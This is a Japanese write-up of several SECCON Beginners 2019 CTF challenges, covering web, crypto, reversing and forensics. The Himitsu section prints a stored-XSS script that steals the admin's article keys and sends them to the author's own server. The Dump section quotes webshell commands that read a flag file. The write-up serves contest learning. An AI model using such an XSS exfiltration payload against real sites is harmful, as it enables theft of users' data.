SECCON for beginners 2019 writeup
Beginners CTF 2019 で自分が解いた部分のまとめです。
[Web] katsudon
問題概要
rails で作られたサイトと「クーポンコード」と呼ばれる文字列を復号するソースコードが与えられる。
ポイント
解法
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
を復号する。
与えられたソースコードから、この文字列は Rails の MessageVerifier を使って復号できそうということがわかる。
MessageVerifier のドキュメント を読む。 MessageVerifierは、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されているということがわかる。 さらに、MessageVerifier の generate という関数の実装を読むと、 MessageVerifier が生成する文字列は、
"#{data}--#{generate_digest(data)}"
という形式になっていることがわかる。
secret を見つけなきゃいけないのかと思いきや、そんなことはない。
data の部分は暗号化されているわけではなくただの base64 だからである。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU
を base64 decode すると、フラグを含むデータが得られる。
[Web] Himitsu
問題概要
php で作られたサイトと、そのサイトのソースコードがまるっと与えられる。
サイト自体は、記事投稿サイトのようなもの。
記事本文に特殊な構文が使えて、 [#記事ID#]
と書くと記事のタイトルを埋め込むことができる。
ポイント
解法
コンテスト中には解けなかった。。。
まずはソースコードを読んであたりをつける。 SQLのパラメタはちゃんとエスケープされているので、SQLインジェクションは無理そう。 記事の投稿内容を表示する部分でもちゃんとテンプレートエンジンを使っているので、XSSも一見無理そうに見える。 が、 part_of_crawler.js でクローラのコードが与えられていることから、 XSS を使いそうな雰囲気が漂っている。
[#記事ID#]
という構文が利用できるという特殊な仕様が引っかかるので、この [#記事ID#]
で他記事のタイトルを埋め込めるという機能を利用して XSS できないか? というあたりをつける。
他記事のタイトル埋込機能に着目しながらソースコードを読んでいくと、以下のようなことがわかった。
- schema.sql
- admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の
article_key
は伏せられている。
- admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の
- backend/classes/ArticleController.php
addArticle
- 記事を投稿する処理。
[#記事ID#]
の部分について、置き換えるタイトルの内容が投稿時にチェックされている。この時、他記事のタイトルに<
>
"
'
といった文字が含まれている場合はエラーにされてしまう。
- 記事を投稿する処理。
getArticle
- 記事を表示する処理。
[#記事ID#]
の部分をタイトルに置き換える処理はここで行われる。 - 閲覧できる記事には特に制限がかかっておらず、 admin の記事であっても
article_key
さえわかればアクセスできる。
- 記事を表示する処理。
- backend/classes/ArticleMapper.php
createArticle
- 記事を DB 上に作成する処理。新規投稿時の
article_key
は、$article_key = md5($username . $created_at . $title);
のように、ユーザ名、作成時刻、タイトルをつなげた文字列のハッシュ値が設定される。
- 記事を DB 上に作成する処理。新規投稿時の
以上のことから、 他記事のタイトル埋込機能を使って XSS を起こし、 admin の記事の article_key
を見つける ことを目指す。
このために、以下のような2種類の記事を作成する。
- 記事A
- title: 適当
- abstract: 適当
- body:
[#記事BのID#]
- 記事B
- title: XSS で実行させたい内容
- abstract: 適当
- body: 適当
この2種類の記事を作成した上で、 admin を記事Aにアクセスさせて XSS のコードを実行させる。
ここで大事なのは、記事を作成する順番である。
記事Bの投稿・送信 -> 記事Aの投稿・送信 の順に行うと、記事Aの作成時に addArticle
のチェック処理によってエラーになってしまう。
これを回避するために、記事の作成が「投稿」と「送信」の2段階になっていることを利用して、
(1) 記事Aの投稿 -> (2) 記事Bの投稿・送信 -> (3) 記事Aの送信
という手順で2つの記事を作成する。
(1) の時点では記事Bが存在していないので、 addArticle
のチェック処理を通過することができる。
ここで問題となるのが、(1) の時点で記事BのIDを知ることができるかどうかだが、実はこれは以下のようにすれば可能である。
記事IDは $article_key = md5($username . $created_at . $title);
というコードで設定されている。
username
はユーザ名、 title
は XSS で実行させたい内容なので、 (1) の時点で決めておける。
created_at
は $created_at = date("Y/m/d H:i");
というコードで設定されていて、 年/月/日 時:分
というフォーマットである。
秒が含まれていないことから、何時何分に (2) の操作を行うか予め決めておけば、 created_at
も予め決めておくことができる。
したがって、username
, title
, created_at
を全て (1) の時点で決めておけるので、記事Bの article_key
も (1) の時点で事前に算出できる。
次に、 XSS のコードの中身を考える。
目標は、admin の記事の article_key
を見つけること。
今回は以下のようなスクリプトを作った。
<script> const run = async () => { let content; try { const resp = await fetch("https://himitsu.quals.beginners.seccon.jp/mypage"); content = await resp.text(); content = content.match(/[0-9a-f]{32}/g).join(); } catch (err) { content = err.stack || err.message; } const urlObj = new URL("<自分のサーバのURL>"); const params = new URLSearchParams(); params.append("d", content); urlObj.search = params.toString(); await fetch(urlObj.toString()); }; run(); </script>
このスクリプトでは、
- https://himitsu.quals.beginners.seccon.jp/mypage にアクセスし、 admin の記事一覧ページの内容を取得する
- 正規表現を使って記事一覧ページの内容から
article_key
に該当する部分だけを取り出す - 取り出した
article_key
を GET parameter として自分のサーバに送る
ということをしている。
このスクリプトの改行を取り除くなどしたものを記事Bのタイトルとし、上記の (1) 〜 (3) の手順を行えば、 admin の記事の article_key
を自分のサーバに送信することができる。
あとは、得られた article_key
の記事のURL ( https://himitsu.quals.beginners.seccon.jp/articles/${article_key}
) にブラウザ等でアクセスすれば、フラグを含む記事の本文を確認することができる。
[Reversing] [warmup] Seccompare
ltrace ./seccompare hoge
[Crypto] [warmup] So Tired
問題概要
すごく長い base64 文字列が記録されたファイルが与えられる。
ポイント
- base64
- zlib
解法
与えられたファイルを base64 decode すると zlib compressed data が出来上がる。 それを解凍するとまた base64 文字列が記録されたファイルが出て来る。
base64 decode -> zlib 解凍 という作業をひたすら繰り返すと flag にたどり着く。
ksnctf - 5 Onion を彷彿とさせる問題だった。
[Crypto] Party
問題概要
2つのファイルが与えられる。
- encrypt.py ... 暗号化スクリプト
- encrypted ... encrypt.py の出力
ポイント
- mod
解法
encrypt.py を読み解くと、 encrypted の内容が、ランダムな値とそれを暗号化した値のペア3つで有ることがわかる。 このペアを (x0, y0), (x1, y1), (x2, y2) とする。
暗号化関数を F とすると、 x と y の関係は y = F(x) となる。 F の中身は、ソースコードより、 y = F(x) = coeff[0] + coeff[1] * x + coeff[2] * x2 である。 coeff[0] の部分が求まれば、フラグを求めることができる。
coeff[0] は、もし coeff[0] が x の倍数でなければ、上記の式より、 coeff[0] = y % x と求められる。 encrypted ファイルに記録された (x0, y0), (x1, y1), (x2, y2) より、 y0 % x0, y1 % x1, y2 % x2 の値はどれも 175721217420600153444809007773872697631803507409137493048703574941320093728 となった。
あとは、以下のようにして数値を byte 列に戻せばフラグをゲットできる。
from Crypto.Util.number import long_to_bytes print(long_to_bytes(175721217420600153444809007773872697631803507409137493048703574941320093728))
[Misc] Dump
問題概要
- tcpdump ファイルが与えられる
ポイント
- tcpdump 解析
解法
まずは tcpdump のファイルを wireshark で開く。 HTTP でなにやら通信が行われていることがわかる。 HTTP の通信の内容を File > Export objects > HTTP から復元すると、以下の2つのファイルが復元できる。
- webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
- webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag
ファイル名から察するに、これらはそれぞれサーバ上で hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
と ls -l /home/ctf4b/flag
を実行した結果だと予想できる。
さらに、 hexdump のオプションの部分を読み解くと、1つめのファイルには /home/ctf4b/flag
の内容を 1 byte ごとに8進数で表した結果が含まれているということがわかる。
復元したファイルは html 形式になっていて、その中の <pre>
タグで囲まれた部分が結果になっているようなので、 hexdump の結果の部分だけを取り出して hexdump.txt
として保存しておく。
つぎに、 hexdump の結果から /home/ctf4b/flag
にあったファイルを復元する。
python だったら以下のような感じで復元できる。
with open('./hexdump.txt', 'r') as f: arr = f.read().split() byte_arr = bytes(map(lambda x: int(x, 8), arr)) with open('./flag', 'wb') as f: f.write(byte_arr)
復元した flag ファイルの形式を file
コマンドで調べると gzip 形式であることがわかる。
これを回答すると flag.jpg が取り出せる。
画像の中に flag が含まれていましたとさ。
[Misc] Sliding puzzle
問題概要
netcat 越しに sliding puzzle が与えられる。
sliding puzzle というのは、
---------------- | 0 | 2 | 3 | | 6 | 7 | 1 | | 8 | 4 | 5 | ----------------
こういうのを、ブランクを表す 0
を動かすことを繰り返して、
---------------- | 0 | 1 | 2 | | 3 | 4 | 5 | | 6 | 7 | 8 | ----------------
こうする問題。
操作手順を 1,3,2,0, ... ,2
のような形式で送信する。
ポイント
- 競プロ
解法
timeout が設定されているようで、手動ではとても間に合わない。 ので、自動で解答するプログラムを作る。 ちょっとした競プロ。
tcp とやり取りする部分は ruby で、実際に問題を得部分は c++ で実装した。
問題を解く部分は、盤面の状態を幅優先探索していけば良い。 このとき、一度訪れた状態を set で管理しておいて、すでに訪れた状態からは新たに遷移しないようにすれば良い。
ソースコードは こちら 。
ruby client.rb 133.242.50.201 24912
と実行すると、何十問か解いた後にフラグが表示される。